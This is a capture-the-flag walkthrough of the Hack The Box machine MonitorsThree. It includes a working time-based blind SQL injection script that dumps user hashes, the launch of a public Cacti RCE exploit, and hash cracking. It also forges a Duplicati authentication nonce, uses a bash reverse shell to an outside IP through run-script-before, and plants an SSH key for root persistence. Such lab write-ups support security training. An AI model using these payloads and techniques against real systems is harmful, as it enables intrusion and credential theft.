![[Hack The Box/MonitorsThree/IntroImage.png]]
## Summary of Exploitation
Hey all, Today I pwned MonitorsThree from Hack The Box. This one had a few steps. I exploited a blind SQL Injection that provided creds for a cacti subdomain. The cacti application had an RCE vulnerability. Once exploited I found mysql credentials that got me a shell as the user Marcus. As Marcus I discovered a containerd instance of duplicati that suffered an authentication bypass vulnerability. Once logged in I was able to take advantage of the application to run a malicious script to get me a root shell on the container. I then copied my ssh public key to the root directory and ssh in as root.
## Recon Phase
As always I start with my tried and true nmap scan.
`sudo nmap -sC -sV -p- --min-rate 10000 10.129.57.178 -oA nmap.out`
![[Hack The Box/MonitorsThree/nmap1.png]]
I see the redirect, and add it to my `/etc/hosts` file.
![[Hack The Box/MonitorsThree/etchosts1.png]]
And rescan it.
![[Hack The Box/MonitorsThree/nmap2.png]]
| Port | Protocol | Protocol Details |
| ---- | ------------- | ---------------- |
| 22 | ssh | OpenSSH 8.9p1 |
| 80 | http | nginx 1.18.0 |
| 8084 | filtered http | websnp |
Looks like a standard Ubuntu Linux webserver. I'll navigate to the website and see what we got here.
![[monitorsThree.png]]
MonitorsThree provides the Best Networking Solutions. Nothing here except a bunch of bold claims. The buttons on top all link back to the same page. I like to check the About Us pages, sometimes they reveal backend technologies or hints.
![[Hack The Box/MonitorsThree/AboutUs.png]]
Nothing much here. Ill check out the login page.
![[login.png]]
The page is located at login.php, I don't see any supporting technologies. Looking at the http data doesn't reveal much. I don't think there is any CMS running here.
![[Hack The Box/MonitorsThree/redirect.png]]
![[httpdata.png]]
I tried some basic default creds such as admin : admin and single quotes, but got nothing. Ill check out the Forgot Password link.
![[forgotpassowrd.png]]
I will pass single quotes and admin again to see what happens.
![[sqlierror.png]]
We managed to find a blind SQL injection vulnerability. Ill come back to this after checking for subdomains using ffuf.
`ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.monitorsthree.htb" -u http://monitorsthree.htb`
filter out the spill by filtering by size.
`ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.monitorsthree.htb" -u http://monitorsthree.htb -fs 13560`
![[Hack The Box/MonitorsThree/ffuf.png]]
There's another subdomain here, cacti. Ill add it to my `/etc/hosts` file.
![[Hack The Box/MonitorsThree/etchosts2.png]]
I navigate to it and am greeted with a cacti login. From the website: "Cacti provides a robust and extensible operational monitoring and fault management framework for users around the world. Is also a complete network graphing solution designed to harness the power of [RRDTool](http://www.rrdtool.org)'s data storage and graphing functionality."
![[CactiLogin.png]]
There is an exposed version at the bottom. Ill check the google machine for exploits. The first result is this.
![[cactiExploiyt.png]]
Much like with WordPress and uploading a nasty plugin, this exploit leverages a similar functionality. Unfortunately, like WordPress, it requires authentication. To wrap up my recon, I did some spidering and found the web app at the root domain is also in the subdomain. but there's no added value.
![[feroxCacti.png]]
I'm going to pivot to the blind SQLi and see what I can gather.
## Exploitation Phase
First I'm going to save the request by right clicking the Request => Copy to file, and run it through sqlmap to grab the payload for injection. Since it's blind, Ill have to rely on single character enumeration through trial and error. Feel free to skip ahead if you understand blind SQLi. I wrote a custom python script that will help us with this.
I checked the discussion after the lab and saw some people where letting their sqlmap run overnight.
(ノಠ益ಠ)ノ彡┻━┻
![[stupid.png]]
![[saveRequest.png]]
`sqlmap -r request.req`
Ill hit enter to accept all defaults. and I'll end up with this payload at the end.
![[payload.png]]
If I pass this line into the forgot password input, the browser will sit and load for 5 seconds before loading the page. We can use this to brute force whether a character exists using the SUBSTRING command.
`"admin' AND (SELECT IF(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET {offset_position}),{position},1)='{char}',SLEEP(5),0)) AND 'iWcA'='iWcA"`
If the first letter of an entry starts with 'c' the brute force script with check for 'a' and the payload will fail and not sleep for 5 seconds. Once the script checks for 'c' the payload will sleep for 5 seconds and the script will return 'c' as a valid character. Here is the script I will be using.
```
import requests
import time
url = "http://monitorsthree.htb/forgot_password.php"
characters = "abcdefghijklmnopqrstuvwxyz0123456789_"
success_time = 3
table_name = ""
position = 1
offset_position = 0
headers = {
"Host": "monitorsthree.htb",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://monitorsthree.htb",
"Connection": "keep-alive",
"Referer": "http://monitorsthree.htb/forgot_password.php",
"Cookie": "PHPSESSID=ljf1v6dj6su48jq6v9m5tr7urf",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i",
}
while True:
found_char = False
for char in characters:
payload = f"admin' AND (SELECT IF(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET {offset_position}),{position},1)='{char}',SLEEP(5),0)) AND 'iWcA'='iWcA"
start_time = time.time()
response = requests.post(url, headers=headers, data={"username": payload})
elapsed_time = time.time() - start_time
if elapsed_time > success_time:
table_name += char
print(f"found character: {char}")
found_char = True
break
if not found_char:
print(f"Table name: {table_name}")
print(f"Offset param: {offset_position}")
table_name = ""
position = 1
offset_position += 1
continue
position += 1
```
The script takes the URL of the vulnerable page and sends a POST request with data equaling our payload. There is a loop designed to loop through each letter and number of the English lexicon plus underscore until the elapsed time is greater than 3 seconds (be careful with the time, its must be accurate for pulling hashes and can be prone to mistakes). The script will then print the letter that took longer than three seconds until there are no matches. Once that happens, the script is designed to move the OFFSET over by 1 to check for the next table entry. There is no logic for the script to end. It will just forever print "Table name:" and increase the offset.
I currently have the payload loaded to dump the usernames from the users table. Assuming it exists, if it doesn't, we would have to modify the payload to check for tables => columns, and that would waste a lot of time. Let's give it a run and see what comes back.
![[4users.png]]
After a couple minutes, I luckily got 4 usernames from the table. I can now update my payload by replacing username with password to get passwords in the same order.
`"admin' AND (SELECT IF(SUBSTRING((SELECT password FROM users LIMIT 1 OFFSET {offset_position}),{position},1)='{char}',SLEEP(5),0)) AND 'iWcA'='iWcA"`
Since this is printing hashes, it will take a bit longer, but still manageable.
![[adminHash.png]]
After a while, I get the whole users table.
```
admin : 31a181c8372e3afc59dab863430610e8
dthompson : c585d01f2eb3e6e1073e92023088a3dd
janderson : 1e68b6eb86b45f6d92f8f292428f77ac
mwatson : c585d01f2eb3e6e1073e92023088a3dd
```
Since they are md5 hashes, I tossed them into [crackstation](https://crackstation.net/), and admin broke.
![[crackstation.png]]
greencacti2001. That's curious, It works to login to MoniorsThree.
![[monitorsAdmin.png]]
Does it work with cacti too?
![[cactiAdmin.png]]
3XC3LL3NT! I'm going to reference back to the [exploit](https://github.com/thisisveryfunny/CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26). And clone the repo.
`git clone https://github.com/thisisveryfunny/CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26.git`
Ill create a python virtual environment and download the requirements.txt using pip3.
```
python3 -m venv cacti
cd cacti
./bin/pip3 install -r ../requirements.txt
Collecting requests==2.31.0 (from -r ../requirements.txt (line 1))
Using cached requests-2.31.0-py3-none-any.whl.metadata (4.6 kB)
Collecting requests-toolbelt==0.10.1 (from -r ../requirements.txt (line 2))
Using cached requests_toolbelt-0.10.1-py2.py3-none-any.whl.metadata (14 kB)
Collecting pytz==2023.3 (from -r ../requirements.txt (line 3))
Using cached pytz-2023.3-py2.py3-none-any.whl.metadata (22 kB)
Collecting charset-normalizer<4,>=2 (from requests==2.31.0->-r ../requirements.txt (line 1))
Using cached charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (35 kB)
Collecting idna<4,>=2.5 (from requests==2.31.0->-r ../requirements.txt (line 1))
Using cached idna-3.10-py3-none-any.whl.metadata (10 kB)
Collecting urllib3<3,>=1.21.1 (from requests==2.31.0->-r ../requirements.txt (line 1))
Using cached urllib3-2.3.0-py3-none-any.whl.metadata (6.5 kB)
Collecting certifi>=2017.4.17 (from requests==2.31.0->-r ../requirements.txt (line 1))
Using cached certifi-2024.12.14-py3-none-any.whl.metadata (2.3 kB)
Using cached requests-2.31.0-py3-none-any.whl (62 kB)
Using cached requests_toolbelt-0.10.1-py2.py3-none-any.whl (54 kB)
Using cached pytz-2023.3-py2.py3-none-any.whl (502 kB)
Using cached certifi-2024.12.14-py3-none-any.whl (164 kB)
Using cached charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (145 kB)
Using cached idna-3.10-py3-none-any.whl (70 kB)
Using cached urllib3-2.3.0-py3-none-any.whl (128 kB)
Installing collected packages: pytz, urllib3, idna, charset-normalizer, certifi, requests, requests-toolbelt
Successfully installed certifi-2024.12.14 charset-normalizer-3.4.1 idna-3.10 pytz-2023.3 requests-2.31.0 requests-toolbelt-0.10.1 urllib3-2.3.0
```
Now Ill give the script a run with no parameters.
![[Errors.png]]
I did some research and learned I needed a different version of urllib3.
```
./bin/pip3 install 'urllib3<2'
./bin/python3 ../exploit.py
```
![[fixedExploit.png]]
Nice, Ill pass it all the required variables, and follow the instruction for the github. and run it.
`./bin/python3 ../exploit.py -L 10.10.14.131 -lp 443 -wp 80 -url http://cacti.monitorsthree.htb -u admin -p greencacti2001`
![[ExploitRun.png]]
Ill check my listener.
![[wwwdataShell.png]]
## Priv-Esc to Marcus
I got a shell as www-data. I'm going to run my [[Fully Functional Shell Trick for zsh|tty trick]] for a functional shell. As www-data I'm mostly interested in information gathering from the webserver, things like sql logins and databases. Ill also check if there are any users on the box.
```
www-data@monitorsthree:/home$ ls -la
total 12
drwxr-xr-x 3 root root 4096 May 26 2024 .
drwxr-xr-x 18 root root 4096 Aug 19 13:00 ..
drwxr-x--- 4 marcus marcus 4096 Aug 16 11:35 marcus
```
There is a Marcus here. I'm going to upload linpeas.sh to the machine to search the files for files of interest. Ill set up my python http server and download linpeas.sh
```
wget http://10.10.14.131/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```
I find the creds for the database.
![[Hack The Box/MonitorsThree/dbCreds.png]]
Ill log in and see if I can find anymore creds.
`www-data@monitorsthree:/dev/shm$ mysql -P 3306 -u cactiuser -p -D cacti`
![[mysql.png]]
`SHOW tables;`
![[user_auth.png]]
`SELECT * FROM user_auth`
![[marcus_hash.png]]
There is a hash there for marcus, I'm going to copy that hash and try to crack it using hashcat.
```
echo '$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK' > marcus.hash
hashcat -m 3200 marcus.hash /usr/share/wordlists/rockyou.txt
```
It cracks in seconds.
![[crackedMarcus.png]]
Now we cross out fingers and hope this is also his ssh password.
`ssh
[email protected]`
Damn,
```
┌──(kali㉿kali)-[~/…/htb/writeups/monitorsthree/loot]
└─$ ssh
[email protected]
[email protected]: Permission denied (publickey).
```
but I can just use `su` on my www-data shell to check as well.
```
su marcus
cat ~/.ssh/id_rsa
```
![[sshKey.png]]
Easy day and an awful password.
I can copy this key, set permissions and log in as marcus using ssh.
```
vi id_rsa
chmod 600 id_rsa
ssh -i id_rsa
[email protected]
```
```
┌──(kali㉿kali)-[~/…/htb/writeups/monitorsthree/loot]
└─$ ssh -i id_rsa
[email protected]
Last login: Tue Aug 20 11:34:00 2024
marcus@monitorsthree:~$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
```
And grab the user flag.
```
marcus@monitorsthree:~$ cat user.txt
fdcd94*************************
```
## Priv-Esc to Root
Now that I have a user shell, I'll first check for sudo rights as marcus.
```
sudo -l
```
```
marcus@monitorsthree:~$ sudo -l
[sudo] password for marcus:
Sorry, user marcus may not run sudo on monitorsthree.
```
It' no good. Ill check for running processes.
```
ps -aux
```
![[processes.png]]
It only shows me what marcus is running, which is nothing. I'll check opt to see if there are any special applications.
```
marcus@monitorsthree:/opt$ ls -la
total 24
drwxr-xr-x 5 root root 4096 Aug 18 08:00 .
drwxr-xr-x 18 root root 4096 Aug 19 13:00 ..
drwxr-xr-x 3 root root 4096 May 20 2024 backups
drwx--x--x 4 root root 4096 May 20 2024 containerd
-rw-r--r-- 1 root root 318 May 26 2024 docker-compose.yml
drwxr-xr-x 3 root root 4096 Aug 18 08:00 duplicati
```
Duplicati looks interesting.
```
marcus@monitorsthree:/opt/duplicati$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Aug 18 08:00 .
drwxr-xr-x 5 root root 4096 Aug 18 08:00 ..
drwxr-xr-x 4 root root 4096 Jan 2 11:00 config
marcus@monitorsthree:/opt/duplicati$ cd config/
marcus@monitorsthree:/opt/duplicati/config$ ls -la
total 2632
drwxr-xr-x 4 root root 4096 Jan 2 11:00 .
drwxr-xr-x 3 root root 4096 Aug 18 08:00 ..
drwxr-xr-x 3 root root 4096 Aug 18 08:00 .config
drwxr-xr-x 2 root root 4096 Aug 18 08:00 control_dir_v2
-rw-r--r-- 1 root root 2588672 Jan 2 11:00 CTADPNHLTC.sqlite
-rw-r--r-- 1 root root 90112 Jan 2 11:00 Duplicati-server.sqlite
```
I went ahead and looked up what duplicati was. Duplicati is a backup and restore utility that operates via a web based GUI. These files here are the backups duplicati has created, and since Marcus isn't running it, it must be running as root on a local port.
![[duplicatiBackups.png]]
Ill run `ss -tulpn` to check the local listening ports.
![[localPorts.png]]
It's either 8084 or 8200, Ill curl each to find out.
![[Found Duplicati.png]]
8200 redirects to the duplicati login. Ill use my ssh session to port forward that port so I can access it.
`ssh -i id_rsa -L 8200:127.0.0.1:8200
[email protected]`
And navigate to 127.0.0.1:8200 and I'm presented with a duplicati login.
![[duplcatiLogin.png]]
I tried admin : password etc, and got nothing back. I did some research and found a way to bypass the duplicati login [here](https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee).
First we need the password value and the salt. We can get that by downloading the duplicati sql file using scp.
`scp -i id_rsa
[email protected]:/opt/duplicati/config/Duplicati-server.sqlite .`
I can now dump the file.
```
sqlite Duplicati-server.sqlite
.dump
```
![[duplicatiHash.png]]
I need 2 values for this to work.
```
server-passphrase','Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho='
server-passphrase-salt','xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I='
```
Now I'm going to intercept the login request using Burp-Suites Do intercept => Response to this request => Forward.
![[DOIntercept.png]]
We will now create a valid nonce by taking the server-passphrase value > From Base64 > convert to Hex. We can do this using [CyberChef](https://gchq.github.io/CyberChef/).
![[CyberChef.png]]
I can now take this value, and the nonce from the intercepted response and use the below command to get a valid nonce.
```
reponse nonce : c6kkEcg6jUDw2D7QLgkW6+u1eXUAiXgCcV5tSAy3rY4=
HEX value : 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('c6kkEcg6jUDw2D7QLgkW6+u1eXUAiXgCcV5tSAy3rY4=') + '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a')).toString(CryptoJS.enc.Base64);
```
I can run this command in the Firefox console, followed by `noncedpwd`.
![[generateNOnce.png]]
I will now forward my request in Burp Suite and replace the password parameter with the generated nonce and URL encode key characters and keep clicking forward.
![[ForwardRequest.gif]]
Assuming everything was done correctly, I should now be logged in to the duplicati console.
![[loggedinDuplicati.png]]
I've never used Duplicati before, so I spent some time looking around. I started by clicking "+ Add Backup". I followed the prompts, until I got to Destination.
![[prompt1.png]]
![[DestinationWeird.png]]
I noticed that the destination folders were not matching the host machines destination folders. I then remembered the `/opt` directory contained a `containerd` directory. So its likely this machine is running in a container. I looked through the destinations and discovered a `/source` directory that matched the machines folder structure.
![[matches.png]]
At first I thought about potentially restoring some sensitive files that I could read, like the shadow or id_rsa of root. Until I discovered another feature. I navigated back to home and clicked the Cacti Backup.
![[CactiBackup.png]]
I was interested in CommandLine. Clicking it showed me exactly how the backup is ran. Scrolling down through Advanced Options shows an area where you can add your own advanced options. One of them is what every hacker is looking for.
![[RunScript.png]]
I clicked the option to run-script-before. Ill quickly build a reverse shell bash script as Marcus, being mindful of the `/source` directory.
```
#!/bin/bash
/source/bin/bash -i >& /dev/tcp/10.10.14.131/9001 0>&1
```
Set as Executable.
`chmod +x rev.sh`
Ill start a listener.
```
nc -lvnp 9001
```
Ill add the location of the script in the gui.
![[addLocationScript.png]]
Now Ill click Run "backup" command now.
![[RunningScript.png]]
![[rootOnContainer.png]]
As expected, I'm root on the container, I'm not done yet. Yes I can technically grab the root.txt as root on the container from the `/source` directory, but we want a root shell on the machine. Ill do this by copying my ssh public key to the root users authorized key list.
![[keygen.png]]
```
root@c6f014fbbd51: echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJqJqW4h..... >> /source/root/.ssh/authorized_keys'
```
Now I just launch an ssh session with root using my generated id_rsa.
```
ssh -i id_rsa
[email protected]
```
Now I can properly grab the root.txt.
```
┌──(kali㉿kali)-[~/…/writeups/monitorsthree/loot/sshStuff]
└─$ ssh -i id_rsa
[email protected]
Last login: Tue Aug 20 15:21:21 2024
root@monitorsthree:~# cat root.txt
c6168b3************************
```
Thank you for reading this, I hoped it helped. This was a long one, but insanely good. I enjoyed every hour. Take care! and Happy Hacking!